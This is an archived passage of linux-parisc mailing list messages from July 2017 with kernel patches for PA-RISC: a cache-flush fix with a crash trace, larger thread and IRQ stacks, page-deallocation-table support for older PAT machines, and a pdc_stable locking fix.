NNTP-Posting-Date: Sun, 30 Jul 2017 20:20:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 22:20:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbuhD-0002SC-OX
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 22:20:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754517AbdG3UUV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 16:20:21 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:42109 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1754239AbdG3UUV (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 16:20:21 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170730202019.CTXT14026.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 30 Jul 2017 16:20:19 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by torspm02.bell.net with ESMTP
          id <20170730202019.PMJV23640.torspm02.bell.net@[192.168.2.25]>;
          Sun, 30 Jul 2017 16:20:19 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ActeJzfG c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=uNpZR4-wJglV9OQNNCAA:9 a=CjuIK1q_8ugA:10 a=wsQqCp8JMDo40R7JlqAA:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27610>


--Apple-Mail-23--847190403
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

In testing James' patch to drivers/parisc/pdc_stable.c, I hit the BUG =
statement in flush_cache_range()
during a system shutdown:

kernel BUG at arch/parisc/kernel/cache.c:595!
CPU: 2 PID: 6532 Comm: kworker/2:0 Not tainted 4.13.0-rc2+ #1
Workqueue: events free_ioctx
task: 000000007b32abb0 task.stack: 0000000062180000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111011100001111 Not tainted
r00-03  000000ff0804f70f 000000004072bdc0 000000004016302c =
0000000062180aa0
r04-07  00000000407165c0 000000007b41f590 00000000f37bd000 =
00000000f37c0000
r08-11  000000007b41f590 00000000621806b8 0000000000000001 =
0000000000000064
r12-15  00000000407435c0 00000000407445c0 00000000f37bd000 =
0000000000000000
r16-19  fffffff0f0d00b0c 00000000621806b8 000000007b41f590 =
0000000062180000
r20-23  0000000000000f97 000000000800000f 00000000621806b8 =
00000000f37c0000
r24-27  00000000f37c0000 000000000800000f 0000000040888100 =
00000000407165c0
r28-31  000000000b9ba800 0000000062180ce0 0000000062180b40 =
00000000004ca800
sr00-03  000000000b9ba800 00000000004ca800 0000000000000000 =
000000000b9ba800
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040163084 =
0000000040163088
 IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000008860180018
 CPU:        2   CR30: 0000000062180000 CR31: ffffffffffffffff
 ORIG_R28: 0000000062180d30
 IAOQ[0]: flush_cache_range+0x144/0x148
 IAOQ[1]: flush_cache_page+0x0/0x1a8
 RP(r2): flush_cache_range+0xec/0x148
Backtrace:
 [<00000000402910ac>] unmap_page_range+0x84/0x880
 [<00000000402918f4>] unmap_single_vma+0x4c/0x60
 [<0000000040291a18>] zap_page_range_single+0x110/0x160
 [<0000000040291c34>] unmap_mapping_range+0x174/0x1a8
 [<000000004026ccd8>] truncate_pagecache+0x50/0xa8
 [<000000004026cd84>] truncate_setsize+0x54/0x70
 [<000000004033d534>] put_aio_ring_file+0x44/0xb0
 [<000000004033d5d8>] aio_free_ring+0x38/0x140
 [<000000004033d714>] free_ioctx+0x34/0xa8
 [<00000000401b0028>] process_one_work+0x1b8/0x4d0
 [<00000000401b04f4>] worker_thread+0x1b4/0x648
 [<00000000401b9128>] kthread+0x1b0/0x208
 [<0000000040150020>] end_fault_vector+0x20/0x28
 [<0000000040639518>] nf_ip_reroute+0x50/0xa8
 [<0000000040638ed0>] nf_ip_route+0x10/0x78
 [<0000000040638c90>] xfrm4_mode_tunnel_input+0x180/0x1f8

CPU: 2 PID: 6532 Comm: kworker/2:0 Not tainted 4.13.0-rc2+ #1
Workqueue: events free_ioctx
Backtrace:
 [<0000000040163bf0>] show_stack+0x20/0x38
 [<0000000040688480>] dump_stack+0xa8/0x120
 [<0000000040163dc4>] die_if_kernel+0x19c/0x2b0
 [<0000000040164d0c>] handle_interruption+0xa24/0xa48

This patch modifies flush_cache_range() to handle non current contexts.  =
In as much as this occurs
infrequently, the simplest approach is to flush the entire cache when =
this happens.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-23--847190403
Content-Disposition: attachment;
	filename=cache.c.d.txt
Content-Type: text/plain;
	name="cache.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 85a92db70afc..19c0c141bc3f 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -587,13 +587,12 @@ void flush_cache_range(struct vm_area_struct *vma,
 	if (parisc_requires_coherency())
 		flush_tlb_range(vma, start, end);
 
-	if ((end - start) >= parisc_cache_flush_threshold) {
+	if ((end - start) >= parisc_cache_flush_threshold
+	    || vma->vm_mm->context != mfsp(3)) {
 		flush_cache_all();
 		return;
 	}
 
-	BUG_ON(vma->vm_mm->context != mfsp(3));

From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Increase thread and stack size to 32kb
Date: Mon, 31 Jul 2017 08:38:27 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20170731063827.GA30040@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501483126 25560 195.159.176.226 (31 Jul 2017 06:38:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 31 Jul 2017 06:38:46 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 31 08:38:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dc4La-00060J-KG
	for glpp-linux-parisc@m.gmane.org; Mon, 31 Jul 2017 08:38:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751614AbdGaGij (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 31 Jul 2017 02:38:39 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62482 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750920AbdGaGig (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 31 Jul 2017 02:38:36 -0400
Original-Received: from ls3530.fritz.box ([193.159.19.154]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MY7dI-1d7DeP3XjU-00Upgz; Mon, 31
 Jul 2017 08:38:29 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Mc08bfimOx3IVJlrJN3DCZ2CKsIUgbG16VqVg11euanaxQYDz5Y
 QcEI8sH9H5aj+DFOAOSPL/Ew+lRf8miq/FYbXFLdwiI7Y6p7c0VAdCgDfPMBrFjxmfhiUt6
 2ixwnhRKn/cv/hCI7qOVGw7nIJHPunwNCJpFuvNIVIPg9ch82nBZPxSxU/IxSmYjihwCVGS
 FmQsoE2vkAtdO7GL10jCg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HasqbCxJtA0=:iLUGYTfPiKQ00aGJ9VmWe2
 hRC4Mvb6iHoj4H2qzYZs8tz0Ma58o2UIG7dtjoxijNGfxTElUFoL7uZ0zkez3et1Co83HOsQ9
 ZjawVKYSXXX8ohtJm6w9YxqzpK0OK3Ml6sUq0GncsH1ufbxWEy936BmosX3+5c+kwwT0dRSRz
 3ryKc05PoHok37CCdYfEOeZO0bpN7Ze53Vnf4K7VrOqS0IhO02BB7KxRgUlvdFKyKAghXiwh/
 A3g6OK03cp0RBki+vTZ0Y+swj/usYm3vQpbRBq4xITdUlnGIM6qXC0dpCY3zLXQHYGG5SFFPG
 jvcaTiHLsRLlFSje8lL73ZMSQoFZ4SyCKbiZNSUlPzKvhVMrBW2yLFx99iF10NsltVaRTJ1wQ
 qlPzN1aeKUJPrdh57V2hlXuo7mXR7Ni8qakUeOdaIVoR0AjvwHeaJP1GiWMIGhU7RhCV+HMJJ
 h66Aa8yShqrcvugRkid/F2TkJRTB/C/7jc+swTnmOFv7wl51udXZ3tLCtgA9axiqD4150Uvez
 8G8js/TSTooNWA5QxcChbRK5SuAg+9xSOrmcQkoqs3h9b/ZBu64CVzBwhFsJnRuDgiNZMUlth
 4zshZEJZp31zNpjQQEIUtwDds9QIjbWMCcclKTOwuKtrPeR8l2c5MsIWi6a85xoZGWdVCrHC6
 toW0flJ72LLMO3Cwd4SxD8AVDOYgGj2WRqptVj2oZvjCmlQ9naEM3urfL4RER5ioTPWmFAogD
 hbJSkKt49U1ctpj2DispUZoq34kF8KjfXtDc2j0JQo62pvWtQJem0NZ7665jKzz4AOBqJ33C 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27611>

Since kernel 4.11 the thread and irq stacks on parisc randomly overflow
the default size of 16k. The reason why stack usage suddenly grew is yet
unknown.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.11+

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 88fe0aad4390..761234d8d84e 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -34,7 +34,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER	2 /* PA-RISC requires at least 16k stack */
+#define THREAD_SIZE_ORDER	3 /* PA-RISC requires at least 32k stack */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index ba5e1c7b1f17..0ca254085a66 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -380,7 +380,7 @@ static inline int eirr_to_irq(unsigned long eirr)
 /*
  * IRQ STACK - used for irq handler
  */
-#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
+#define IRQ_STACK_SIZE      (4096 << 3) /* 32k irq stack size */
 
 union irq_stack_union {
 	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Implement PDT for PAT machines which return cell info
Date: Mon, 31 Jul 2017 15:27:18 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <20170731132718.GA15086@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501507648 16812 195.159.176.226 (31 Jul 2017 13:27:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 31 Jul 2017 13:27:28 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 31 15:27:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dcAjC-0000R3-SQ
	for glpp-linux-parisc@m.gmane.org; Mon, 31 Jul 2017 15:27:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750977AbdGaN13 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 31 Jul 2017 09:27:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61222 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750923AbdGaN12 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 31 Jul 2017 09:27:28 -0400
Original-Received: from ls3530.fritz.box ([193.159.19.154]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MJXEd-1dZ9v80toJ-0036qO; Mon, 31
 Jul 2017 15:27:21 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:/+joqB1q2b7EQBSeqFtiEijSVETQ0QLHbV1G+exO+0SzauRe9KZ
 haND1lBrpfbcc2foq8Ob3mhQYcAsjqswiQGO22qZ9ETHZDwMzvOsvvaDOKgO4tWYDte6nP5
 JK/35qOCzlKsKrh5bCLN3Up4c4PEdEqedM0MnfFvzHLQq/7MiqqTUAQm/GS++83OHRJR7mF
 KBbMzKhb/rHtsSaDfGKcA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MyxWgTXIBo0=:zOjqDmd1O0gKjmis+SEEaS
 46OBsTYFjSBPyGOX8Gp1233KIaHcQubteFdWuKbbLkDkLTO5pZZGAp13oYHyMKAnZMYpFduHv
 G1RoUKHWR4thdtf4UBolR+vSImiKFlJRBDIXb4yYawuZGWL7+v/zia1uZzYtcaucC5khRHAUg
 57nH0+Yr0rOeBVeoZZzkaFlUoWGQRRp7gz3TxznwOqcRpDEl1CFD7ggOHmElqiMxjJubMuD3U
 Nwb58tVRkkgYicbbpUnGUJu0VzhLcL1Mco/OE3+nqCz5HUlCXpetlsqpszrNzgSohZx0m78Cz
 Qlj76ziA42ubhh6SiMRxbkmpwlbKKfHF8dptZtnoaL9d38BDhAwW0vpBF4bnjfJmMU1ODCp3m
 OSVTNMazO4H6kz5yvGsJMDUQQ6cnfV6tQC04v9xz3dtpHOddE9dcu9KsMSY78He7evhlgyq2W
 9yled7ka+eYX+PzUoet98KIZaAaX9wGp33AlmWUxTZ1nIUQCsfLuiBV4a+ymP3U0i36fLPDh5
 +O8fJOQS/wuxAIvy8KtDgKp1NvWtlF8+xJ3YntXXxqYbhSi0VNt86LppFGOTYjdU2PYiGlTzf
 +oRmNMVxsNcXr51BSOi+39lnYJQ6p9OBDs1rOzM6Rj4Zz4JyFarDupJWwK0iQeCLf4qTJ489s
 FoayxVdk9nIR8W5sgpxd/MHXMK39SOj+gsZwbcaN/MMhn2fnVHwmFOCAbDfdxkmUrm0TvWXRR
 uZKLghHGLAq2C8kS11PrZpgoIqK43N5zZcOos6ndGjcfBw0iazKuuojgRrdFobkrzLewmzGD 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27612>

Machines like rp5470 return their Page Deallocation Table (PDT) info per
cell via the PDC_PAT_MEM_PD_INFO PDC call.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index e3c0586..a468a17 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -223,6 +223,18 @@ struct pdc_pat_mem_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_INFO (return info) */
 	unsigned long clear_time; /* last PDT clear time (since Jan 1970) */
 };
 
+struct pdc_pat_mem_cell_pdt_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_CELL_INFO */
+	u64 reserved:32;
+	u64 cs:1;		/* clear status: cleared since the last call? */
+	u64 current_pdt_entries:15;
+	u64 ic:1;		/* interleaving had to be changed ? */
+	u64 max_pdt_entries:15;
+	unsigned long good_mem;
+	unsigned long first_dbe_loc; /* first location of double bit error */
+	unsigned long clear_time; /* last PDT clear time (since Jan 1970) */
+};
+
+
 struct pdc_pat_mem_read_pd_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_READ */
 	unsigned long actual_count_bytes;
 	unsigned long pdt_entries;
@@ -325,6 +337,8 @@ extern int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *va
 extern int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val); 
 
 extern int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo);
+extern int pdc_pat_mem_pdt_cell_info(struct pdc_pat_mem_cell_pdt_retinfo *rinfo,
+		unsigned long cell);
 extern int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 		unsigned long *pdt_entries_ptr, unsigned long max_entries);
 extern int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f622a31..a28e42b 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1440,6 +1440,29 @@ int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo)
 }
 
 /**
+ * pdc_pat_mem_pdt_cell_info - Retrieve information about page deallocation
+ * 		table of a cell
+ * @rinfo: memory pdt information
+ * @cell: cell number
+ *
+ */
+int pdc_pat_mem_pdt_cell_info(struct pdc_pat_mem_cell_pdt_retinfo *rinfo,
+		unsigned long cell)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_CELL_INFO,
+			__pa(&pdc_result), cell);
+	if (retval == PDC_OK)
+		memcpy(rinfo, &pdc_result, sizeof(*rinfo));
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+/**
  * pdc_pat_mem_read_cell_pdt - Read PDT entries from (old) PAT firmware
  * @pret: array of PDT entries
  * @pdt_entries_ptr: ptr to hold number of PDT entries
diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index d02874e..95e7497 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -59,7 +59,7 @@ void arch_report_meminfo(struct seq_file *m)
  */
 void __init pdc_pdt_init(void)
 {
-	int ret, i;
+	int ret = PDC_BAD_PROC, i;
 	unsigned long entries;
 	struct pdc_mem_read_pdt pdt_read_ret;
 
@@ -67,14 +67,31 @@ void __init pdc_pdt_init(void)
 		struct pdc_pat_mem_retinfo pat_rinfo;
 
 		pdt_type = PDT_PAT_NEW;
+		/* newer machines like C8000 report info for all cells */
 		ret = pdc_pat_mem_pdt_info(&pat_rinfo);
 		pdt_status.pdt_size = pat_rinfo.max_pdt_entries;
 		pdt_status.pdt_entries = pat_rinfo.current_pdt_entries;
 		pdt_status.pdt_status = 0;
 		pdt_status.first_dbe_loc = pat_rinfo.first_dbe_loc;
 		pdt_status.good_mem = pat_rinfo.good_mem;
-	} else {
+	}
+
+	if (is_pdc_pat() && ret != PDC_OK) {
+		struct pdc_pat_mem_cell_pdt_retinfo cell_rinfo;
+
+		pdt_type = PDT_PAT_OLD;
+		/* older machines like rp5470 report cell info only */
+		ret = pdc_pat_mem_pdt_cell_info(&cell_rinfo, parisc_cell_num);
+		pdt_status.pdt_size = cell_rinfo.max_pdt_entries;
+		pdt_status.pdt_entries = cell_rinfo.current_pdt_entries;
+		pdt_status.pdt_status = 0;
+		pdt_status.first_dbe_loc = cell_rinfo.first_dbe_loc;
+		pdt_status.good_mem = cell_rinfo.good_mem;
+	}
+
+	if (ret != PDC_OK) {
 		pdt_type = PDT_PDC;
+		/* non-PAT machines provide the standard PDC call */
 		ret = pdc_mem_pdt_info(&pdt_status);
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: pdc_stable: Fix locking when creating sysfs links
Date: Mon, 31 Jul 2017 15:49:54 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20170731134954.GA2466@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501509007 10904 195.159.176.226 (31 Jul 2017 13:50:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 31 Jul 2017 13:50:07 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 31 15:50:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dcB54-0006df-Ij
	for glpp-linux-parisc@m.gmane.org; Mon, 31 Jul 2017 15:49:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751735AbdGaNuE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 31 Jul 2017 09:50:04 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53726 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750987AbdGaNuD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 31 Jul 2017 09:50:03 -0400
Original-Received: from ls3530.fritz.box ([193.159.19.154]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lt1eU-1diPTK3Mi2-012ad1; Mon, 31
 Jul 2017 15:49:56 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:XuHCquicpLF0VUP/4Vo5pECo+JOro4azuq31Qvnxong73gqVVio
 7fzpmHnhqff2L/d9QMxsDaGEXPyHsjqMnB4sDAhFn5MRaHvfOqTr78WtNhFaqn18uuJVEd+
 M6VwthrVOfEk3XpBJOHCmdWaUTCArVwFYrXuqaKg25v76U8aKvlmJLu/pr2bErlpM99WWUo
 8rllanfCVJAItLXVZKsew==
X-UI-Out-Filterresults: notjunk:1;V01:K0:nDH+9srSUfw=:eQrvt9pKlNQRjihPxr7Kmr
 X5qVCkU3hIgDmuJibhzKyMlhNjp6QXZSYwgcPPysc9gqkV+UfZ/xXes2QDDXvGiOA8qt0KAx+
 kE8pZdXwxqBIl2AjDA4O840lQDbNfgfPFSH1hcaGAcW3fhpM/nNc/jEQvh4g5A5SCSpWz1ONw
 rKWwWG7aekgx4SyKa4HjipkDvBF4/2OTiGwUGri9BKKysAnW+4gSNXI/YSFj/XK/VsE9WUogc
 dj6VF+dsc9TEUIEkAqQlo1+yccgNNe91nCpCEm/GNJw9niwCUr8xTk1ENC608i8eJzWJFxfwP
 kGXg9CZgdVyOTDcKXmSVJFJWUSwi8HtLNeKPJ2rPiq9tZJai9KdWNuvcYoOpJ/OXnzNlnw4/B
 gZm1HfnLsZIHdt05R44BBj456opnt9HNoOQvlGqFf+n1urg/Ps0OuIT6FKGrM3yC2APTQQoag
 EmNhHlnvdp9OkUUK67k/dWuzFFH3tMelUbzeHOv9tSkwsGdx6cQnQCUY/rg0MdrqNbk8RgMbV
 hSvVpdB3n0fETp5XxElY2pZq60s81Op6vuu1tti4zlFJSuChwZ8Nm49uxqdDa8wzst9c8x/EE
 KsNpsij9r4+AShZdPDTYCd4zW/rzUoJarQX8O46gsLnXBY3852dLSj3Vb1P5fOl9C4VO9RFqW
 3hRKAnPpOxPdkaUWWnJOYb9qebK0Nvfn91W6mgcHaCncpu2T5tIgEjtAMBqX4Xs9WUGJMUfe6
 pNVGZC95vAUntCrFMWso9dlFhp0M0Y01/tm8rWAd8b64VyDi68MO4Qppk0MoFmSZD2fRV4fe 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27613>

From: James Bottomley <James.Bottomley@HansenPartnership.com>

There's no need to take the write lock when creating sysfs links.

This patch fixes the following BUG: 
 BUG: sleeping function called from invalid context at mm/slab.h:416
 in_atomic(): 1, irqs_disabled(): 0, pid: 1, name: swapper/0
 CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.13.0-rc2-00110-g0b5477d9dabd #111
 Backtrace:
 [<0000000040217ac8>] show_stack+0x20/0x38
 [<00000000406fbbb0>] dump_stack+0xb0/0x128
 [<0000000040274090>] ___might_sleep+0x180/0x1b8
 [<0000000040274144>] __might_sleep+0x7c/0xe8
 [<0000000040373874>] kmem_cache_alloc+0x14c/0x1e0
 [<0000000040419514>] __kernfs_new_node+0x84/0x1b8
 [<000000004041b09c>] kernfs_new_node+0x3c/0x78
 [<000000004041e040>] kernfs_create_link+0x40/0xd8
 [<000000004041f320>] sysfs_do_create_link_sd.isra.0+0xb0/0x130
 [<000000004041f3d4>] sysfs_create_link+0x34/0x58
 [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
 [<0000000040200250>] do_one_initcall+0x70/0x1d8
 [<0000000040101644>] kernel_init_freeable+0x27c/0x390
 [<000000004020be44>] kernel_init+0x24/0x1c0

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Reported-by: Meelis Roos <mroos@linux.ee>

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 7147aa5..b1ff46f 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -333,11 +333,11 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
 	
 	/* Update the symlink to the real device */
 	sysfs_remove_link(&entry->kobj, "device");
+	write_unlock(&entry->rw_lock);
+
 	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
 	WARN_ON(ret);
 
-	write_unlock(&entry->rw_lock);
-	
 	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
 		entry->name, buf);
 	
@@ -998,6 +998,7 @@ pdcs_register_pathentries(void)
 		/* kobject is now registered */
 		write_lock(&entry->rw_lock);
 		entry->ready = 2;
+		write_unlock(&entry->rw_lock);
 		
 		/* Add a nice symlink to the real device */
 		if (entry->dev) {
@@ -1005,7 +1006,6 @@ pdcs_register_pathentries(void)
 			WARN_ON(err);
 		}
 
-		write_unlock(&entry->rw_lock);
 		kobject_uevent(&entry->kobj, KOBJ_ADD);
 	}
 	
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
